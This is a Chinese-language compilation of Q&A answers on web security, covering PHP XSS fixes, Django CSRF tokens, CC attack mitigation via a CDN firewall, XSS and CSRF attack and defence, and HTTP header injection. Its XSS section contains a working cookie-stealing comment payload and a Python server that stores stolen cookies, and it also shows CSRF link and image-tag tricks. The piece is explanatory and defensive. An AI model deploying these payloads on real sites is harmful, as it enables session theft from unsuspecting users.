本文目录一览：
- 1、如何修复PHP跨站脚本攻击漏洞
- 2、各位是怎么解决django的防csrf
- 3、网站被人cc攻击了怎么处理？
- 4、前端安全方面有没有了解？xss和csrf如何攻防
- 5、http response header injection 怎么解决
如何修复PHP跨站脚本攻击漏洞
你这截图上不是有 *** 么，检查后台的代码，将用户提交过来的信息进行htmlspecialchars（）后在操作数据。或者自己编写代码，将特殊符号进行正则匹配然后给替换掉。
各位是怎么解决django的防csrf
django post出现403的解决办法 据说，从django1.x开始，加入了CSRF保护。
CSRF（Cross-site request forgery跨站请求伪造，也被称成为“one click attack”或者session riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，并且攻击方式几乎相左。XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性。-------来自百度百科
报错：Forbidden (403)
CSRF verification failed. Request aborted.Help
Reason given for failure:CSRF token missing or incorrect.
In general, this can occur when there is a genuine Cross Site Request Forgery, or when Django's CSRF mechani *** has not been used correctly. For POST forms, you need to ensure:
Your browser is accepting cookies.
The view function uses RequestContext for the template, instead of Context.
In the template, there is a {% csrf_token %} template tag inside each POST form that targets an internal URL.
If you are not using CsrfViewMiddleware, then you must use csrf_protect on any views that use the csrf_token template tag, as well as those that accept the POST data.
You're seeing the help section of this page because you have DEBUG = True in your Django settings file. Change that to False, and only the initial error message will be displayed.
You can customize this page using the CSRF_FAILURE_VIEW setting.
在网上找解决办法，说是提交参数中要有csrf_token，才能成功。但网上都是1.3或者1.4版本的解决办法，在1.5版本中测试已经不能用了。
在1.5.1版本，我测试可行的解决办法有三种：
一：
关闭csrf保护功能。为视图函数添加@csrf_exempt修饰符。
from django.views.decorators.csrf import csrf_exempt@csrf_exemptdef view(request): #your code..... 当然这样不安全。
二： 在模版文件中，每个form提交域中都加上{% csrf_token %}标签，并使用render函数返回视图，或者强行使用RequestContext 代替Context。例： from django.shortcuts import renderdef contact(request): form = ContactForm()#这里我使用了一个django的表格 return render(request,'contact.html', {'form': form})
或者：
from django.shortcuts import render_to_responsedef contact(request): form = ContactForm()#这里我使用了一个django的表格 return render_to_response('contact.html', {'form': form}, context_instance=RequestContext(request) )
contact.html的内容：
htmlheadstyle type="text/css" ul.errorlist { margin: 0; padding: 0; } .errorlist li { background-color: red; color: white; display: block; font-size: 10px; margin: 0 0 3px; padding: 4px 5px; }/style titlesend/title/headbody h1Contact us/h1 form action="" method="post" {% csrf_token %} div class="94b3-e643-8238-d3ce field" {{ form.subject.errors }} label for="id_subject"工作:/label {{ form.subject }} /div div class="e643-8238-d3ce-5cd2 field" {{ form.email.errors }} label for="id_email"你的邮箱地址:/label {{ form.email }} /div div class="8238-d3ce-5cd2-15fb field" {{ form.message.errors }} label for="id_message"消息:/label {{ form.message }} /div input type="submit" value="Submit" /form/body/html
三：
*** 二显然只能限制在django模版中使用，那如果我们使用javascript或者AJAX的时候呢？怎么添加csrf_token呢？
我们可以使用javascript来提取cookies中的csrf_token。
function getCookie(name) { var cookieValue = null; if (document.cookie document.cookie != '') { var cookies = document.cookie.split(';'); for (var i = 0; i cookies.length; i++) { var cookie = jQuery.trim(cookies[i]); if (cookie.substring(0, name.length + 1) == (name + '=')) { cookieValue = decodeURIComponent(cookie.substring(name.length + 1)); break; } } } return cookieValue; }
或者这个好理解的：
function getCookie(sName){ var aCookie=document.cookie.split("; "); for(var i=0;iaCookie.length;i++){ var aCrumb=aCookie[i].split("="); if(sName==aCrumb[0])return (aCrumb[1]); } return null;}
AJAX中这样用： $.post(url, {"csrfmiddlewaretoken":getCookie('csrftoken')}, function (data) {alert(data);});
但是有一个问题，当有一个新用户访问这个页面的时候，cookie里并没有csrftoken这个值。只有进行第二种 *** ，才能在cookie里生成csrftoken值。解决此问题的 *** 随后更新。
完全可以满足简单的建站需要。
网站被人cc攻击了怎么处理？
CC攻击是目前国际上攻击成本更低的一种方式，往往黑客只需要一个简单的CC攻击软件就可以对一个小型网站造成严重的损失，轻的打开慢，卡，严重的会使网站服务器直接卡死。因为CC攻击成本低，所以CC攻击是目前国内最常见的攻击方式。
简单的CC攻击往往是通过多个 *** IP对网站进行大量请求，从而导致服务器资源占满，引起网站卡死，这类攻击防御起来非常简单，一般的防火墙如安全狗都是可以防护的，只需要对IP访问频率进行限制即可。
但如果黑客的 *** IP较多，那就很难防了，因为对方一个IP可以设置成一分钟访问一次或者几十秒请求一次，这个频率基本上和正常用户一样了，防火墙是无法进行拦截了。
有些防火墙可以通过User-Agent过滤，即过滤某些浏览器、蜘蛛请求，但这很容易误伤，而且很多攻击都是使用正常浏览器请求的，所以并不能有效解决CC攻击问题。
那么如何有效解决CC攻击呢？
主机吧这里推荐使用百度云加速高防CDN进行防护，百度云加速不仅可以有效防护DDoS攻击，同时对CC攻击防护也是非常有效果。百度云加速提供四到七层的DDoS攻击防护，包括CC、SYN
flood、UDP flood等所有DDoS攻击方式，
通过分布式高性能防火墙+精准流量清洗+CC防御+WEB攻击拦截，组合过滤精确识别，有效防御各种类型攻击。
接入百度云加速后即可使用以下功能进行防护拦截。
WAF篇
WAF（Web Application
Firewall）网站应用防火墙，简单点讲，就是保护您网站避免被入侵的一套防火墙系统。云加速的防火墙规则由国内顶尖的云加速安全团队制定，能防御市面上超过99%常见的SQL注入、XSS、Web服务器漏洞、应用程序漏洞以及文件访问控制等等系列的渗透攻击，有效的避免您的网站遭到入侵。
下面为WAF选择展开后的功能界面：
Web应用防火墙开关 关闭后WAF功能将失效。
高级定制 点开后会发现整个WAF规则划分成了一个个模块，网站有特殊功能的用户可以自行选择使用哪些模块。
凡是出现验证码页面的拦截是基础规则拦截，基础规则在关闭WAF功能开关后依然是有效的，只能通过加IP白名单的方式解决。
安全验证有效期 很多功能都存在安全验证，在最终用户完成安全验证后的多久以内我们认为是安全的？这里需要配置有效期，如下图，多个时间可以选择：
请点击输入图片描述
浏览器检查 存在非浏览器请求方式的小伙伴请注意了，如果您网站有非浏览器请求，请关闭该功能。
访问出现浏览器检查的5秒页面，是因为您开启了ADS中CC防护的强力防护级别，在这个级别会对每一次请求进行识别，如果您不需要功能，请将CC防护调整到其他级别即可。
邮件地址混淆 开启该功能后，在您网页上所留的邮箱可以避免被爬虫扫描识别。
防盗链 开启后，您网站上的图片资源被盗链后，引用位置会出现403的显示。开启防盗链功能后，如果有部分网站是您许可链接的，那么白名单中添加域名即可。
通过以上的介绍，您现在也许已经了解云加速的全部WAF功能了。
IP防火墙篇
自定义IP防护策略，个性化安全服务。通过添加IP黑名单、IP白名单、强力防护名单，您可以对来自特定IP或IP段的请求进行拦截、放行或强力防护，从而实现IP级别的防护策略。
IP防火墙如下图，具有以下几个功能和特点
请点击输入图片描述
IP黑名单 可以禁止哪些IP来访问您的网站，目前支持B段和C段的IP防护，且支持输入0/24、0/16 进行网段屏蔽，被屏蔽后的用户访问会报1006-1008错误，如下图。
请点击输入图片描述
IP白名单 有两种情况需要添加白名单，之一种是部分用户会通过云加速对网站进行页面修改等高风险操作时，会被云加速给阻断。当您在确认用户操作是合法的情况下，请将他的IP地址加入到IP白名单进行放行；
第二种是用户出口IP在互联网上有太多的不良记录，用户的IP如果匹配上了黑名单，那么会弹出验证码框，来确认他是否是恶意扫描以及攻击，如果您认为用户IP是一个正常的访问，也需要加白名单。
下面图列分别是操作拦截以及黑名单拦截：
强力防护名单 有一些IP无论从访问频率还是行为都比较可以，但是您又担心误伤，这个功能就是为了解决上述问题而设计的，您可以输入IP或者是网段，只针对您输入的这部分进行强力防护。
严格意义来讲这个功能主要是ADS在发挥作用，但是为了用户更直观的操作，我们将他固定到了这里。
ADS篇
ADS 高级攻击防御提供了四到七层的DDoS攻击防护，包括CC、SYN flood、UDP flood等所有DDoS攻击方式， 通过分布式高性能防火墙+精准流量清洗+CC防御+WEB攻击拦截，组合过滤精确识别，有效防御各种类型攻击。
请点击输入图片描述
基础防护
DDoS防护 为域名提供四层的流量攻击防护，具体防护量级和域名的套餐类型相关。目前该功能无法关闭，因为攻击后的系统策略加载需要靠他来完成。
CC防护 在CC防护上，我们主要是以常驻规则和实时动态规则来进行防御，分为了强力、高、中、低四个等级。
强力防护：建议仅在正在受到CC攻击且防御不佳时开启
高：系统会对所有2周内产生可疑行为的用户进行选择性拦截
中：系统会智能识别出可疑请求，并且自动选择合适的认证方式（推荐）
低：系统会对本次攻击中产生可疑行为的用户进行拦截
如果在高级别时用户服务器已经超负荷，建议拉到强力模式。强力防护这个等级，会对每一次的访问进行验证，验证有效期由WAF规则中的“安全验证有效期”来进行控制。
整个ADS操作很简单，对于高端用户，建议配合自定义规则来使用。
高级防护
除了基础防护外，云加速还为国内用户提供了更多的高级防护。
请点击输入图片描述
停用海外节点 停止对该域名分配海外服务节点
超级清洗中心 使用企业级云清洗中心服务，更快更稳定，在被攻击情况下开启
海外IP防护 一键开启或停止对海外IP的访问启用防护策略
设置IP访问频率 设置单个IP的访问频率，超出限制后需通过验证才能继续访问
源站保护 设置访问源站频率的阈值，超出后站点全部流量需要通过验证后才能继续访问
URL黑名单 系统将对已添加的url的访问启用验证
转自：网页链接
前端安全方面有没有了解？xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的 *** 处理，简单的 *** 就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本更低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，更好的 *** 是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 *** 把发贴内容拼接成目标 URL 并访问：
标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 *** 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求 *** 对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求 *** ，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求 *** ，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的 *** 来防御 CSRF，这个 *** 就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现 *** 非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的 *** 在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
之一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、 *** 的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个 *** 看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多 *** 还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“ *** ”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌 *** ，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的 *** ，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
http response header injection 怎么解决
From Wikipedia, the free encyclopedia
HTTP
Persistence Compression HTTPS
Request methods
OPTIONS GET HEAD POST PUT DELETE TRACE CONNECT PATCH
Header fields
Cookie ETag Location HTTP referer DNT X-Forwarded-For
Status codes
301 Moved Permanently 302 Found 303 See Other 403 Forbidden 404 Not Found 451 Unavailable For Legal Reasons
v t e
HTTP header injection is a general class of web application security vulnerability which occurs when Hypertext Transfer Protocol (HTTP) headers are dynamically generated based on user input. Header injection in HTTP responses can allow for HTTP response splitting, Session fixation via the Set-Cookie header, cross-site scripting (XSS), and malicious redirect attacks via the location header. HTTP header injection is a relatively new area for web-based attacks, and has primarily been pioneered by Amit Klein in his work on request/response *** uggling/splitting